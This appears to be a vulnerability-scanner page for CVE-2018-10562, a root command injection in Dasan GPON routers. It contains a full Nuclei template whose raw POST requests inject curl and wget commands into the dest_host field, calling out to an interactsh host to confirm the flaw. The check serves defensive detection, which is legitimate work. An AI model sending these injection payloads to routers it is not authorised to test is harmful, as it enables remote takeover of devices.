Dasan GPON Devices - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-31; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /GponForm/diag_Form?images/
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}"

Run it with nuclei: nuclei -id CVE-2018-10562 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-10562

info:
  name: Dasan GPON Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
    - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10562
    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
    - https://github.com/ethicalhackeragnidhra/GPON
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-10562
    cwe-id: CWE-78
    epss-score: 0.99949
    epss-percentile: 0.99973
    cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dasannetworks
    product: gpon_router_firmware
  tags: cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

References

Use this check only on systems you are authorised to test. Where the data comes from